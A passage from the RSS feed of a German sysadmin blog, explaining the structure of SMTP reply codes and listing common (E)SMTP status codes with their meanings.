<li><strong>4</strong>yz: Mailserver hat einen temporären Fehler festgestellt. Die Anforderung kann ohne jegliche Änderungen erneut ausgeführt werden, um die Verarbeitung möglicherweise abzuschliessen.</li>
<li><strong>5</strong>yz: Mailserver hat einen dauerhaften Fehler festgestellt. Die Anforderung kann nicht verarbeitet werden.</li>
</ul>
<p>Die zweite Ziffer gibt detaillierte Informationen:<br />
<span id="more-391"></span></p>
<ul>
<li>x<strong>0</strong>z: Syntax Fehler</li>
<li>x<strong>1</strong>z: Antwortinformationen werden erwartet (Status / Hilfe)</li>
<li>x<strong>2</strong>z: Status der Verbindung</li>
<li>x<strong>5</strong>z: Status des Mailservers</li>
</ul>
<p align="justify">Zuletzt noch einige häufige (E)SMTP Codes und deren Bedeutung:</p>
<ul>
<li><strong>211</strong>: System Status / System Hilfe Antwort</li>
<li><strong>214</strong>: Hilfe Nachricht</li>
<li><strong>220</strong>: Dienst bereit</li>
<li><strong>221</strong>: Dienst schließt Übertragungskanal</li>
<li><strong>250</strong>: Mail Aktion erfolgreich abgeschlossen</li>
<li><strong>251</strong>: Benutzer nicht lokal, Weiterleitung erfolgt</li>
<li><strong>354</strong>: Beginne Mail Eingabe (DATA)</li>
<li><strong>421</strong>: Dienst nicht bereit, schließe Übertragungkanal</li>
<li><strong>450</strong>: Mail nicht verarbeitet, Mailbox nicht verfügbar</li>
<li><strong>451</strong>: Mail Aktion abgebrochen, lokaler Fehler in der Übertragung</li>
<li><strong>452</strong>: Mail Aktion nicht ausgeführt, ungenügender Speicher</li>
<li><strong>500</strong>: Syntax Fehler, Befehl nicht erkannt</li>
<li><strong>501</strong>: Syntax Fehler in Parametern</li>
<li><strong>502</strong>: Befehl nicht implementiert</li>
<li><strong>503</strong>: Falsche Befehlsabfolge</li>
<li><strong>504</strong>: Befehlsparameter nicht implementiert</li>
<li><strong>550</strong>: Mail Aktion abgebrochen, Mailbox nicht verfügbar</li>
<li><strong>551</strong>: Benutzer nicht lokal, Weiterleitung nutzen</li>
<li><strong>552</strong>: Mail Aktion abgebrochen, Nachricht zu groß</li>
<li><strong>553</strong>: Aktion nicht ausgeführt, Mailbox Name nicht erlaubt</li>
<li><strong>554</strong>: Übertragung fehlgeschlagen</li>
</ul>
<p align="justify">Wer sich alle Statuscodes anschauen möchte, sei hiermit auf die <a href="http://tools.ietf.org/html/rfc2821" target="_blank">RFC 821</a> verwiesen. Zusätzlich möchte ich <a href="http://www.supermailer.de/smtp_reply_codes.htm" target="_blank">eine Übersicht der Bedeutungen abhängig von den verschiedenen SMTP Befehlen</a> nicht verschweigen.</p>
<p><!-- PHP 5.x --></p>
]]></content:encoded>
			<wfw:commentRss>http://www.adminlife.net/wissen/smtp-fehler-und-statuscodes/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
	</channel>
</rss>

<!-- Dynamic page generated in 3.924 seconds. -->
<!-- Cached page generated by WP-Super-Cache on 2012-02-04 17:19:29 -->

